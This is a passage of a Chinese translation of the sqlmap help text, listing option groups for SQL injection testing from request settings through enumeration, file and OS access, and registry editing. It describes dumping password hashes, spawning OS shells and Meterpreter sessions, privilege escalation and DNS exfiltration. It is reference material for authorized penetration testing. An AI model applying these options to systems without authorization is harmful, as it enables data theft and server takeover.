--timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
--retries=RETRIES   连接超时时重试次数(默认为 3)
--randomize=RPARAM  随机更改给定的参数值
--safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                    有些网站在你连续多次访问错误地址时会关闭会话连接,
                    后面的“请求”小节有详细说明)
--safe-post=SAFE..  使用 POST 方法发送合法的数据
--safe-req=SAFER..  从文件中加载合法的 HTTP 请求
--safe-freq=SAFE..  每访问两次给定的合法 URL 才发送一次测试请求
--skip-urlencode    不对 payload 数据进行 URL 编码
--csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
--csrf-url=CSRFURL  指定可提取防 CSRF 攻击 token 的 URL
--force-ssl         强制使用 SSL/HTTPS
--hpp               使用 HTTP 参数污染攻击
--eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")

3、优化

以下选项用于优化 sqlmap 性能

1
2
3
4
5
-o                  开启所有优化开关
--predict-output    预测常用请求的输出
--keep-alive        使用持久的 HTTP(S) 连接
--null-connection   仅获取页面大小而非实际的 HTTP 响应
--threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

4、注入

以下选项用于指定要测试的参数,提供自定义注入 payloads 和篡改参数的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-p TESTPARAMETER    指定需要测试的参数
--skip=SKIP         指定要跳过的参数
--skip-static       指定跳过非动态参数
--param-exclude=..  用正则表达式排除参数(例如:"ses")
--dbms=DBMS         指定后端 DBMS(Database Management System,
                    数据库管理系统)类型(例如:MySQL)
--dbms-cred=DBMS..  DBMS 认证凭据(username:password)
--os=OS             指定后端 DBMS 的操作系统类型
--invalid-bignum    将无效值设置为大数
--invalid-logical   对无效值使用逻辑运算
--invalid-string    对无效值使用随机字符串
--no-cast           关闭 payload 构造机制
--no-escape         关闭字符串转义机制
--prefix=PREFIX     注入 payload 的前缀字符串
--suffix=SUFFIX     注入 payload 的后缀字符串
--tamper=TAMPER     用给定脚本修改注入数据

5、检测

以下选项用于自定义检测方式

1
2
3
4
5
6
7
8
--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK         设置测试风险等级(1-3,默认为 1)
--string=STRING     用于确定查询结果为真时的字符串
--not-string=NOT..  用于确定查询结果为假时的字符串
--regexp=REGEXP     用于确定查询结果为真时的正则表达式
--code=CODE         用于确定查询结果为真时的 HTTP 状态码
--text-only         只根据页面文本内容对比页面
--titles            只根据页面标题对比页面

6、技术

以下选项用于调整特定 SQL 注入技术的测试方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
--technique=TECH    使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                    B: Boolean-based blind SQL injection(布尔型盲注)
                    E: Error-based SQL injection(报错型注入)
                    U: UNION query SQL injection(联合查询注入)
                    S: Stacked queries SQL injection(堆叠查询注入)
                    T: Time-based blind SQL injection(时间型盲注)
                    Q: inline Query injection(内联查询注入)
--time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
--union-cols=UCOLS  设置联合查询注入测试的列数目范围
--union-char=UCHAR  用于暴力猜解列数的字符
--union-from=UFROM  设置联合查询注入 FROM 处用到的表
--dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                    推荐阅读《在SQL注入中使用DNS获取数据》
                    http://cb.drops.wiki/drops/tips-5283.html,
                    在后面的“技术”小节中也有相应解释)
--second-url=SEC..  设置二阶响应的结果显示页面的 URL(译者注:该选项用于 SQL 二阶注入)
--second-req=SEC..  从文件读取 HTTP 二阶请求

7、指纹识别

1
-f, --fingerprint   执行广泛的 DBMS 版本指纹识别

8、枚举

以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据。此外,还可以运行你输入的 SQL 语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
-a, --all           获取所有信息、数据
-b, --banner        获取 DBMS banner
--current-user      获取 DBMS 当前用户
--current-db        获取 DBMS 当前数据库
--hostname          获取 DBMS 服务器的主机名
--is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users             枚举出 DBMS 所有用户
--passwords         枚举出 DBMS 所有用户的密码哈希
--privileges        枚举出 DBMS 所有用户特权级
--roles             枚举出 DBMS 所有用户角色
--dbs               枚举出 DBMS 所有数据库
--tables            枚举出 DBMS 数据库中的所有表
--columns           枚举出 DBMS 表中的所有列
--schema            枚举出 DBMS 所有模式
--count             获取数据表数目
--dump              导出 DBMS 数据库表项
--dump-all          导出所有 DBMS 数据库表项
--search            搜索列,表和/或数据库名
--comments          枚举数据时检查 DBMS 注释
-D DB               指定要枚举的 DBMS 数据库
-T TBL              指定要枚举的 DBMS 数据表
-C COL              指定要枚举的 DBMS 数据列
-X EXCLUDE          指定不枚举的 DBMS 标识符
-U USER             指定枚举的 DBMS 用户
--exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
--pivot-column=P..  指定主列
--where=DUMPWHERE   在转储表时使用 WHERE 条件语句
--start=LIMITSTART  指定要导出的数据表条目开始行数
--stop=LIMITSTOP    指定要导出的数据表条目结束行数
--first=FIRSTCHAR   指定获取返回查询结果的开始字符位
--last=LASTCHAR     指定获取返回查询结果的结束字符位
--sql-query=QUERY   指定要执行的 SQL 语句
--sql-shell         调出交互式 SQL shell
--sql-file=SQLFILE  执行文件中的 SQL 语句

9、暴力破解

以下选项用于暴力破解测试

1
2
--common-tables     检测常见的表名是否存在
--common-columns    检测常用的列名是否存在

10、用户自定义函数注入

以下选项用于创建用户自定义函数

1
2
--udf-inject        注入用户自定义函数
--shared-lib=SHLIB  共享库的本地路径

11、访问文件系统

以下选项用于访问后端 DBMS 的底层文件系统

1
2
3
--file-read=FILE..  读取后端 DBMS 文件系统中的文件
--file-write=FIL..  写入到后端 DBMS 文件系统中的文件
--file-dest=FILE..  使用绝对路径写入到后端 DBMS 中的文件

12、访问操作系统

以下选项用于访问后端 DBMS 的底层操作系统

1
2
3
4
5
6
7
8
--os-cmd=OSCMD      执行操作系统命令
--os-shell          调出交互式操作系统 shell
--os-pwn            调出 OOB shell,Meterpreter 或 VNC
--os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
--os-bof            利用存储过程的缓冲区溢出
--priv-esc          数据库进程用户提权
--msf-path=MSFPATH  Metasploit 框架的本地安装路径
--tmp-path=TMPPATH  远程临时文件目录的绝对路径

13、访问 Windows 注册表

以下选项用于访问后端 DBMS 的 Windows 注册表

1
2
3
4
5
6
7
--reg-read          读取一个 Windows 注册表键值
--reg-add           写入一个 Windows 注册表键值数据
--reg-del           删除一个 Windows 注册表键值
--reg-key=REGKEY    指定 Windows 注册表键
--reg-value=REGVAL  指定 Windows 注册表键值
--reg-data=REGDATA  指定 Windows 注册表键值数据
--reg-type=REGTYPE  指定 Windows 注册表键值类型

14、通用选项

以下选项用于设置通用的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-s SESSIONFILE      从文件(.sqlite)中读入会话信息
-t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
--batch             从不询问用户输入,使用默认配置
--binary-fields=..  具有二进制值的结果字段(例如:"digest")
--check-internet    在访问目标之前检查是否正常连接互联网
--crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
--crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
--csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
--charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
--dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
--encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
--eta               显示每个结果输出的预计到达时间
--flush-session     清空当前目标的会话文件
--forms             解析并测试目标 URL 的表单
--fresh-queries     忽略存储在会话文件中的查询结果
--har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
--hex               获取数据时使用 hex 转换
--output-dir=OUT..  自定义输出目录路径
--parse-errors      从响应中解析并显示 DBMS 错误信息
--preprocess=PRE..  使用给定脚本预处理响应数据
--repair            重新导出具有未知字符的数据(?)
--save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
--scope=SCOPE       用正则表达式从提供的代理日志中过滤目标
--test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
--test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
--update            更新 sqlmap

15、杂项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
--alert=ALERT       在找到 SQL 注入时运行 OS 命令
--answers=ANSWERS   设置预定义回答(例如:“quit=N,follow=N”)
--beep              出现问题提醒或在发现 SQL 注入时发出提示音
--cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表
--dependencies      检查 sqlmap 缺少(可选)的依赖
--disable-coloring  关闭彩色控制台输出
--gpage=GOOGLEPAGE  指定页码使用 Google dork 结果
--identify-waf      针对 WAF/IPS 防护进行彻底的测试
--mobile            使用 HTTP User-Agent 模仿智能手机
--offline           在离线模式下工作(仅使用会话数据)
--purge             安全删除 sqlmap data 目录所有内容
--skip-waf          跳过启发式检测 WAF/IPS 防护
--smart             只有在使用启发式检测时才进行彻底的测试
--sqlmap-shell      调出交互式 sqlmap shell
--tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
--web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
--wizard            适合初级用户的向导界面